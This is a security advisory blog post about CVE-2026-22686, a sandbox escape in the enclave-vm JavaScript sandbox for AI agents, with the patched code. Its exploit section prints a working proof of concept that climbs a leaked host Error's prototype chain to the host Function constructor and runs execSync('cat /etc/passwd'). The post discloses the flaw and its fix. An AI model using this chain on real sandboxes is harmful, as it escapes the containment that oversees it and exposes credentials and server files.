CVE-2026-22686

The Trojan Horse of Errors: Escaping Enclave-VM via Host Prototype Chains

Alon Barad
Alon Barad
Software Engineer

Jan 14, 2026·7 min read

Executive Summary (TL;DR)

If an AI agent or untrusted script running inside `enclave-vm` triggers an error in a host tool, the sandbox previously handed it a raw Host Error object. Attackers can climb this object's prototype chain (`error.__proto__.constructor.constructor`) to get a reference to the Host's `Function` constructor, enabling full Remote Code Execution (RCE) and total system compromise. Fixed in version 2.7.0.

A critical sandbox escape vulnerability in `enclave-vm` allowing malicious code to break out of the JavaScript sandbox by leveraging host-side Error objects. By traversing the prototype chain of an error returned from a failed tool call, attackers can access the host's `Function` constructor and execute arbitrary code on the underlying server.

The Hook: When the Guard Rails Become Ladders

Sandboxing JavaScript is like trying to hold water in a sieve made of sponges. It is notoriously difficult because the language itself is so dynamic and interconnected. enclave-vm was built to solve a modern problem: allowing AI agents to generate and execute code safely. The idea is simple—put the AI in a padded cell so if it writes malicious code, it only hurts itself. But as with all prison breaks, the flaw wasn't in the thickness of the walls; it was in the behavior of the guards.

In this specific case, the vulnerability stems from a classic "act of kindness" by the runtime. When the sandboxed code tries to call an external tool (like a weather API or a database query) and that tool fails, the host runtime needs to tell the sandbox what happened. Most developers would just send a text message: "Hey, that didn't work." But enclave-vm did something much more dangerous: it handed the prisoner the actual smoking gun that caused the failure.

By passing a raw, host-created Error object directly into the sandbox context without sanitization, the developers inadvertently created a bridge between two worlds. This object, seemingly harmless, carried with it the DNA of the host system—specifically, a prototype chain that leads directly back to the native Node.js runtime. For a hacker, this isn't an error message; it's a golden ticket.

The Flaw: A Tale of Two Realms

To understand this bug, you have to understand V8 "Realms" (or Contexts). When you create a sandbox in Node.js (using vm or vm2 or enclave-vm), you are essentially creating a parallel universe. Objects born in the Sandbox Realm belong to the Sandbox. Objects born in the Host Realm belong to the Host. The security model relies entirely on ensuring that Host objects never leak into the Sandbox, because Host objects possess the privileges of the operating system user.

The fatal flaw in enclave-vm versions prior to 2.7.0 was a violation of this boundary during exception handling. When the sandbox invoked a tool via the bridge, and that tool threw an exception, the bridge caught the Host Realm Error object and passed it by reference to the Sandbox Realm.

This is the digital equivalent of a prison guard handing an inmate a set of keys because the inmate complained about the lock being stuck. The inmate (the malicious code) now holds an object (error) that technically lives in the Host world. In JavaScript, every object has a __proto__ property pointing to its creator. By following this lineage, the inmate can walk right out of the cell.

The Code: The Smoking Gun and The Shield

Let's look at the fix, which highlights the severity of the mistake. The patch in version 2.7.0 (Commit ed8bc438...) introduces a massive overhaul to how data crosses the boundary. The most critical change is the introduction of createSafeError.

Before the fix, the code likely looked something like sandbox.throw(hostError). Here is the remediation code that replaced it. Notice the extreme paranoia in how the object is constructed:

export function createSafeError(message: string, name = 'Error'): Error {
  // 1. Create a new error (in the current realm context)
  const error = new Error(message);
  error.name = name;
 
  // 2. CRITICAL: Sever the prototype chain completely
  Object.setPrototypeOf(error, null);
 
  // 3. Mock the constructor and proto properties so they go nowhere
  const SafeConstructor = Object.create(null);
  Object.defineProperties(error, {
    'constructor': { value: SafeConstructor, writable: false },
    '__proto__': { value: null, writable: false },
    'stack': { value: undefined, writable: false }
  });
 
  Object.freeze(error);
  return error;
}

The developers are literally "scorching the earth." They set the prototype to null, ensuring that even if an attacker tries to climb the ladder, the first rung breaks off in their hand. Furthermore, the bridge now defaults to serializing everything to JSON strings before crossing the boundary, ensuring that only data—not object references—is transferred.

The Exploit: Climbing the Ladder

So, how does a researcher weaponize this? We need to trigger an error in the host, catch it in the sandbox, and then perform some prototype gymnastics. The goal is to reach the Host's Function constructor. In JavaScript, the constructor of a constructor is Function. So: ErrorInstance -> ErrorPrototype -> ErrorConstructor -> FunctionConstructor.

Once we have the Host's Function constructor, we can create a new function with arbitrary code (like return process.env) and execute it. Because the constructor belongs to the Host, the resulting function executes in the Host context, bypassing the sandbox entirely.

Here is a simplified version of the "Vector 35" exploit chain used to validate this CVE:

// 1. Trigger the vulnerable code path
try {
    // Call a tool that definitely doesn't exist to force the Host to throw an Error
    await callTool('NON_EXISTENT_TOOL', {});
} catch (hostError) {
    // 2. We have the Host Error object. Time to climb.
    
    // Access the prototype (carefully, in case of obfuscation)
    const errorProto = hostError['__proto__']; 
    
    // Get the Host's Error Constructor
    const errorConstructor = errorProto['constructor'];
    
    // Get the Host's Function Constructor (The Holy Grail)
    const HostFunction = errorConstructor['constructor'];
    
    // 3. Execute Arbitrary Code
    const maliciousPayload = "return require('child_process').execSync('cat /etc/passwd').toString()";
    const exploit = HostFunction(maliciousPayload);
    
    console.log(exploit()); // Prints /etc/passwd contents
}

It is elegant, simple, and absolutely devastating. It requires zero memory corruption, no race conditions, just standard JavaScript features used in a way the developers didn't anticipate.

The Impact: God Mode Enabled

This vulnerability is rated CVSS 10.0 for a reason. It is the definition of "Game Over." enclave-vm is designed to run untrusted code—often generated by Large Language Models (LLMs) which are prone to hallucinating or being jailbroken into writing malicious scripts.

If an attacker (or a rogue AI agent) successfully exploits this, they aren't just escaping the sandbox; they are becoming the process owner. They gain:

  1. File System Access: Read/Write access to the server's disk (config files, SSH keys, source code).
  2. Network Access: Ability to scan internal networks, connect to databases, or exfiltrate data.
  3. Environment Variables: Instant access to process.env, which usually holds AWS keys, database connection strings, and API secrets.

This isn't just a data leak; it's full Remote Code Execution (RCE). If you are running enclave-vm to isolate customer code or AI agents, and you haven't patched, your infrastructure is effectively public property.

The Fix: JSON is the Best Sanitizer

The mitigation is straightforward but requires immediate action. Upgrade to version 2.7.0 or later. The patch changes the default behavior of the "tool bridge" to use JSON serialization.

Why does this work? JSON.stringify() and JSON.parse() are destructive to metadata. When you stringify an object, you strip away its prototype chain, its methods, and its hidden internal slots. You are left with pure, inert data. When that string is parsed back into an object on the other side, it is reborn as a native object of the destination realm, with no links to the past.

For those who cannot upgrade immediately (why?), the only workaround is to ensure that no tools ever throw errors, or to manually wrap every tool execution in a try-catch block that swallows the error and returns a plain string message instead. But seriously, just npm update.

Fix Analysis (1)

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.10%
Top 71% most exploited

Affected Systems

enclave-vm < 2.7.0Node.js applications using enclave-vm for AI sandboxingAgentic AI frameworks relying on enclave-vm for tool execution

Affected Versions Detail

Product
Affected Versions
Fixed Version
enclave-vm
AgentFront
< 2.7.02.7.0
AttributeDetail
CWECWE-693 (Protection Mechanism Failure)
CVSS v3.110.0 (Critical)
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack VectorPrototype Chain Traversal via Host Object Leak
Exploit StatusPoC Available (Vector 35)
EPSS Score0.00102
CWE-693
Protection Mechanism Failure

Protection Mechanism Failure

Vulnerability Timeline

Patch committed to main branch
2026-01-09
GHSA Advisory Published
2026-01-13
CVE Published
2026-01-14

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.